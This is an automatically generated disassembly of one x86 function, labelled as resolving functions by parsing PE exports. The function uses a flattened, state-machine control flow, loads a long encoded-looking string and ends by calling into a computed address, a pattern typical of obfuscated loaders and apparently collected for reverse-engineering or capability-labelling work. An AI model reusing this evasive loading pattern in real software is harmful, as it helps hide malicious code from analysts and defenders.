Function at 0x401570
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb8
lea eax, section..data2
lea ecx, section..data
mov dword [esp + 0xac], 0
mov dword [esp + 0xa8], 0
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0
mov edx, dword [0x41201c]
mov esi, dword [0x438318]
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
call section..text
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0xac]
mov dword [esp + 0xb0], eax
mov dword [esp + 0x7c], 0x28049e25
mov eax, dword [esp + 0x7c]
mov ecx, eax
sub ecx, 0x3fac035a
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], ecx
jg 0x401722
jmp 0x401616
mov eax, dword [esp + 0x78]
sub eax, 0x958e8385
mov dword [esp + 0x70], eax
jg 0x401647
jmp 0x40162e
mov eax, dword [esp + 0x78]
add eax, 0x7d7fe83a
mov dword [esp + 0x6c], eax
je 0x4017be
jmp 0x40173a
mov eax, dword [esp + 0x78]
sub eax, 0xb705d949
mov dword [esp + 0x68], eax
jg 0x401677
jmp 0x40165f
mov eax, dword [esp + 0x78]
sub eax, 0x958e8386
mov dword [esp + 0x64], eax
je 0x4017b1
jmp 0x40173a
mov eax, dword [esp + 0x78]
sub eax, 0xc13a266b
mov dword [esp + 0x60], eax
jg 0x4016a7
jmp 0x40168f
mov eax, dword [esp + 0x78]
sub eax, 0xb705d94a
mov dword [esp + 0x5c], eax
je 0x401762
jmp 0x40173a
mov eax, dword [esp + 0x78]
add eax, 0x378b5172
mov dword [esp + 0x58], eax
jg 0x4016d8
jmp 0x4016c0
mov eax, dword [esp + 0x78]
sub eax, 0xc13a266c
mov dword [esp + 0x54], eax
je 0x401830
jmp 0x40173a
mov eax, dword [esp + 0x78]
add eax, 0x378b5171
mov dword [esp + 0x50], eax
je 0x40176f
jmp 0x4016f1
mov eax, dword [esp + 0x78]
add eax, 0xdc7e3bb4
mov dword [esp + 0x4c], eax
je 0x4018f2
jmp 0x40170a
mov eax, dword [esp + 0x78]
sub eax, 0x28049e25
mov dword [esp + 0x48], eax
je 0x40173f
jmp 0x40173a
mov eax, dword [esp + 0x78]
sub eax, 0x3fac035b
mov dword [esp + 0x44], eax
je 0x401823
jmp 0x40173a
jmp 0x4018ff
mov eax, 0xc874ae8f
mov ecx, 0xb705d94a
mov edx, dword [esp + 0xb0]
cmp edx, 0
cmove eax, ecx
mov dword [esp + 0x7c], eax
jmp 0x4018ff
mov dword [esp + 0x7c], 0x2381c44c
jmp 0x4018ff
lea eax, [esp + 0x80]
mov ecx, dword [esp + 0xac]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402870
mov ecx, 0x828017c6
mov edx, 0x958e8386
mov dword [esp + 0xa8], eax
cmp dword [esp + 0xa8], 0
cmove ecx, edx
mov dword [esp + 0x7c], ecx
jmp 0x4018ff
mov dword [esp + 0x7c], 0x2381c44c
jmp 0x4018ff
mov eax, 0
mov ecx, dword [esp + 0xa8]
add ecx, dword [esp + 0x88]
mov dword [esp + 0xa0], ecx
mov ecx, dword [esp + 0xa0]
mov edx, dword [esp + 0xa8]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0x40], eax
call fcn.004023e0
mov ecx, 0xc13a266c
mov edx, 0x3fac035b
mov dword [0x4172e0], eax
cmp dword [0x4172e0], 0
cmove ecx, edx
mov dword [esp + 0x7c], ecx
jmp 0x4018ff
mov dword [esp + 0x7c], 0x2381c44c
jmp 0x4018ff
lea eax, [0x4149ae]
lea ecx, [0x41202c]
lea edx, [0x41344c]
lea esi, [0x41485c]
lea edi, [0x41496c]
lea ebx, str.UnvcEmjeogY5lSyysuCJX_HVbKfPxMAQghVpnUqbFE6qpcfSb9EBb1ikCs2uj_6WxImnff6MRlrMqrBXanRS1FVSReVF9qXWycz8d76qQ27plKSUt5haKha_rREx41HLwBqdrEH030OHEWoPtx7TEk47_WsRu8Q99c16W16OugmUPjjGHsMnKHw1XVUZ47BG7sN825y8yorf67I3xK49HMIgtzox7iptDw5GWIdZhEEKtgtcZQuGAYDi0iVgZxXMNWrat9rbfnl1v_YgnC4nrq4kDY3TieFfJ2B0_bdiaeTrYZlMZTj8aDVfKvqn3RBn7kTbFexCkrUkNZWUJmytQKfpQqWNgdvdn7Ykr_zPEl_S8j5e1g1HzVyepwlAgqA0LLwnHXr_Xf9JieURaDvKscFRh55v_bT28f3I6VWKvpdNIDxhlQLd_ZihXSiBY2g6sokzkh95l5UHhL0hHbi0ZaCm8_u4yg3wtGLxZPO3dhyI9KvV7xsV4OiywkE7D3HpQSIptxNNbg0mXtSnx_h8fmlP9J_JPiYKEslphshDVhWUcwN7VZOkvqcGbNnpBytqrjbDdFb9DpkCSQxuQHd3u5FLXEsuLrPQ9P3y0gZyVc5j9lOeeKfSJ7AFHbE1bLQCyOdHNbCR9xbn8mQrUXHXeR_H6PwOhY5j0HsaziZbHUtmwX_SFlEFNZTl_f97v2IVt0Xc8LYarRAiHAP4plmFRo7W8kxlUPtOwVIYUBPp3v7QfN7Y6r82jM8xmIZNw
mov dword [esp + 0x3c], eax
mov eax, dword [0x4172e0]
mov dword [esp + 0x38], eax
mov eax, dword [0x412038]
mov dword [esp + 0x34], eax
mov eax, dword [0x412024]
mov dword [esp + 0x30], eax
mov eax, dword [0x412020]
mov dword [esp + 0x2c], eax
mov eax, dword [0x412028]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], esi
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], edi
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ebx
mov ecx, dword [esp + 0x38]
call ecx
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
add eax, dword [ecx + 9]
mov dword [esp + 0xa4], eax
call dword [esp + 0xa4]
mov dword [esp + 0x7c], 0x2381c44c
jmp 0x4018ff
mov eax, 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x4015f7